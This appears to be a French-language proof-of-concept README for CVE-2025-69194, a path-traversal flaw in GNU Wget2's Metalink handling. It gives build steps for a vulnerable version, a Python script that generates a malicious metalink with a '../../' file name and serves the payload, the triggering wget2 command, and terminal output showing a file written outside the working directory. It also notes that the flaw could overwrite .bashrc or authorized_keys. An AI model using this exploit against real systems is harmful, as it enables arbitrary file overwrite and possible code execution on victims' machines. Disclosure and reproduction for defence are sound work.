
PoC pour CVE-2025-69194, une vulnérabilité de traversée de chemin dans GNU Wget2 <= 2.2.0. Cette vulnérabilité permet aux attaquants de parvenir à écrire ou écraser arbitrairement des fichiers sur le système de fichiers de la victime en fournissant un fichier Metalink malveillant avec des attributs de nom de fichier manipulés.
PoC pour CVE-2025-69194, une vulnérabilité critique de traversée de chemin dans GNU Wget2 <= 2.2.0 (vérifiée sur v1.99.1). Cette vulnérabilité permet à un attaquant d'écrire ou d'écraser arbitrairement des fichiers sur le système de fichiers de la victime en fournissant un fichier Metalink malveillant avec des attributs file name manipulés.
Lorsque Wget2 traite un fichier Metalink avec l'option --force-metalink, il ne parvient pas à assainir correctement les séquences de traversée de répertoire (par exemple, ../../). Cela peut conduire à une exécution de code à distance (RCE) si un attaquant écrase des fichiers système sensibles (comme .bashrc, .ssh/authorized_keys) ou des binaires système.
Pour reproduire fidèlement la vulnérabilité, nous compilons Wget2 v1.99.1 à partir des sources afin de garantir que le module Metalink vulnérable est actif et non corrigé.
sudo apt update && sudo apt install -y build-essential libgnutls28-dev libxml2-dev \
libzstd-dev liblzma-dev libpcre2-dev libidn2-dev libpsl-dev \
libbrotli-dev autoconf automake libtool gettext pkg-config python3
wget https://ftp.gnu.org/gnu/wget/wget2-1.99.1.tar.gz
tar -xvf wget2-1.99.1.tar.gz && cd wget2-1.99.1
./configure --with-libxml2
make -j$(nproc)
sudo make install && sudo ldconfig
# Verify installation (+metalink support is required)
wget2 --version | grep -E "1.99.1|metalink"
L'attaquant héberge un fichier .metalink malveillant et la charge utile correspondante. Enregistrez ce qui suit sous le nom poc.py :
import os
import hashlib
import http.server
import socketserver
import threading
import time
# --- 配置区 ---
TARGET_FILE_NAME = "../../pwned_test.txt" # 想要穿越到的目标路径
PAYLOAD_CONTENT = "pwned by CVE-2025-69194\n"
PORT = 8000
METALINK_FILE = "exploit.metalink"
PAYLOAD_FILE = "evil.dat"
def create_files():
# 1. 创建载荷文件
with open(PAYLOAD_FILE, "w") as f:
f.write(PAYLOAD_CONTENT)
# 计算 SHA256
sha256_hash = hashlib.sha256(PAYLOAD_CONTENT.encode()).hexdigest()
file_size = len(PAYLOAD_CONTENT)
# 2. 构造恶意的 Metalink 结构
metalink_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<metalink xmlns="http://www.metalinker.org/">
<files>
<file name="{TARGET_FILE_NAME}">
<size>{file_size}</size>
<verification>
<hash type="sha256">{sha256_hash}</hash>
</verification>
<resources>
<url type="http">http://127.0.0.1:{PORT}/{PAYLOAD_FILE}</url>
</resources>
</file>
</files>
</metalink>
'''
with open(METALINK_FILE, "w") as f:
f.write(metalink_content)
print(f"[+] 恶意文件 {METALINK_FILE} 已生成。")
def start_server():
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", PORT), handler) as httpd:
print(f"[*] 恶意服务器已在端口 {PORT} 启动...")
httpd.serve_forever()
if __name__ == "__main__":
# 清理旧文件
if os.path.exists(TARGET_FILE_NAME):
os.remove(TARGET_FILE_NAME)
create_files()
# 启动后台服务器
server_thread = threading.Thread(target=start_server, daemon=True)
server_thread.start()
time.sleep(1) # 等待服务器就绪
print("\n[!] 现在请在另一个终端执行以下命令进行复现:")
print(f"wget2 --force-metalink -i {METALINK_FILE}")
print(f"\n[!] 执行后,检查目标文件是否存在:")
print(f"ls {TARGET_FILE_NAME} && cat {TARGET_FILE_NAME}")
# 保持主线程运行
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n[+] 演示结束,正在清理...")
Exécutez la commande suivante dans un sous-répertoire (par exemple, ~/Downloads/CVE-2025-69194/) pour observer l'évasion du répertoire :
# Pre-check: Verify the file does not exist in the parent's parent directory
ls ../../pwned_test.txt
# Execute the exploit
wget2 --force-metalink -i exploit.metalink
La vulnérabilité existe dans la logique d'analyse Metalink où l'attribut name est considéré comme fiable sans normalisation.
| Phase | Description |
|---|
Comme démontré lors de la reproduction réussie, le fichier pwned_test.txt a été créé deux niveaux au-dessus du dossier d'exécution :
lele@u22:~/Downloads/CVE-2025-69194$ ls ../../pwned_test.txt
ls: cannot access '../../pwned_test.txt': No such file or directory
lele@u22:~/Downloads/CVE-2025-69194$ wget2 --force-metalink -i exploit.metalink
downloading part 1/1 (0-23) ../../pwned_test.txt from 127.0.0.1
HTTP response 200 OK [http://127.0.0.1:8000/evil.dat]
part 1 downloaded
../../pwned_test.txt checking...
Checksum OK for '../../pwned_test.txt'
lele@u22:~/Downloads/CVE-2025-69194$ ls ../../pwned_test.txt && cat ../../pwned_test.txt
../../pwned_test.txt
pwned by CVE-2025-69194

Cet outil est fourni uniquement à des fins éducatives et de tests de sécurité autorisés. L'auteur n'est pas responsable des dommages causés par une mauvaise utilisation de ces informations. L'accès non autorisé à des systèmes informatiques est strictement interdit.
| Entrée | Wget2 lit <file name="../../pwned_test.txt">. |
| Contournement | Aucune vérification n'est effectuée pour voir si le chemin contient ../ ou tente de sortir du CWD. |
| Écriture | Wget2 ouvre le chemin résolu CWD + ../../pwned_test.txt et écrit la charge utile vérifiée. |